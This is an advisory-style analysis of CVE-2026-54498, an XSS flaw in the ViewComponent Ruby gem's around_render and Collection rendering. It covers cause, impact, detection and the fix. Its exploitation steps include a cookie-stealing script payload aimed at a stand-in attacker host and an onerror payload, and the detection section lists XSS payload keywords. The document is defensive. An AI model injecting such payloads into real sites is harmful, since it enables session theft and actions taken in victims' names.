CVE-2026-54498: 
Ruby vulnerability analysis and mitigation

CVE-2026-54498 is an HTML-safety bypass vulnerability in the ViewComponent Ruby gem that enables Cross-Site Scripting (XSS) attacks. The flaw exists in ViewComponent::Base#around_render, which can return HTML-unsafe strings without applying the same escaping enforced on normal #call return values. It affects view_component versions >= 4.0.0 and < 4.12.0 (RubyGems). The vulnerability was originally published on June 4, 2026 by maintainer joelhawksley and added to the GitHub Advisory Database on July 15, 2026. It carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Security Advisory).

The root cause (CWE-79) is an inconsistent HTML-safety boundary: normal inline #call output is passed through __vc_maybe_escape_html, which escapes unsafe strings, but the return value of around_render bypasses this check entirely and is used directly as the rendered output. The vulnerability is amplified in ViewComponent::Collection#render_in, which maps per-item render_in calls, joins the results, and unconditionally calls .html_safe on the joined string — converting raw, attacker-controlled output into a trusted ActiveSupport::SafeBuffer. Exploitation requires a downstream application to define a component that overrides around_render and returns or interpolates attacker-controlled data (e.g., request parameters, model attributes, CMS content). A public proof-of-concept is included in the advisory, demonstrating that a payload such as <img src=x onerror=alert(1)> is emitted raw through the around_render path while the same payload is correctly escaped through #call (GitHub Advisory, Security Advisory).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the victim's browser within the trusted application origin. Concrete consequences include session or authentication token theft (where cookies are accessible), performing authenticated actions on behalf of the victim, CSRF bypass via same-origin script execution, exfiltration of page data, and credential phishing or UI redress attacks. The collection rendering path is particularly dangerous because it launders raw per-item output into a SafeBuffer, potentially suppressing any downstream escaping and widening the attack surface across all items in a rendered collection (GitHub Advisory, Security Advisory).

1. Reconnaissance: Identify a Rails application using the view_component gem at versions >= 4.0.0 and < 4.12.0 (e.g., via Gemfile.lock exposure, error pages, or HTTP headers).
2. Identify vulnerable component: Locate a component in the application that overrides around_render and incorporates attacker-controlled data — such as URL parameters, form inputs, model attributes, or CMS content — into its return value (e.g., def around_render; "#{@message}"; end where @message is user-supplied).
3. Craft XSS payload: Prepare an HTML/JavaScript payload such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script> or <img src=x onerror=alert(document.cookie)> and inject it into the attacker-controlled input field that populates the component's data.
4. Trigger rendering: Submit the payload through the application's normal input mechanism (e.g., a form submission, URL parameter, or stored content) so that the vulnerable component is rendered in a browser-visible response.
5. Achieve XSS: Because around_render's return value bypasses __vc_maybe_escape_html, the raw payload is emitted into the HTML response. When the victim loads the page, the injected script executes in their browser, enabling session theft, CSRF bypass, or data exfiltration. If the component is rendered via ViewComponent::Collection, the .html_safe call on the joined output further suppresses any downstream escaping (GitHub Advisory, Security Advisory).

• Logs: Rails application logs showing requests containing HTML/JavaScript payloads (e.g., <script>, onerror=, javascript:) in parameters that are passed to components using around_render; unexpected JavaScript execution errors logged by the application.
• Network: Outbound requests from victim browsers to attacker-controlled domains shortly after loading pages that render affected ViewComponent components; unusual Referer headers on attacker infrastructure matching the application's origin.
• Application Behavior: A Ruby warning message in server logs: WARNING: The [ComponentClass] component's around_render returned an HTML-unsafe string. — this warning is emitted by the patched version (4.12.0) when unsafe output is detected, and its absence on older versions may indicate undetected exploitation.
• File System: Unexpected modifications to component files (e.g., app/components/*.rb) introducing around_render overrides that interpolate user-controlled instance variables (GitHub Advisory, Patch Commit).

Upgrade the view_component gem to version 4.12.0 or later, which applies __vc_maybe_escape_html to around_render return values and replaces the unsafe .html_safe call in Collection#render_in with safe_join (v4.12.0 Release, Patch Commit). As an interim workaround if upgrading is not immediately possible, audit all components that override around_render and ensure any returned strings containing user-controlled data are explicitly marked safe only after manual HTML escaping (e.g., using ERB::Util.html_escape or CGI.escapeHTML). Additionally, enforce a strict Content Security Policy (CSP) to limit the impact of any XSS that does occur (Security Advisory).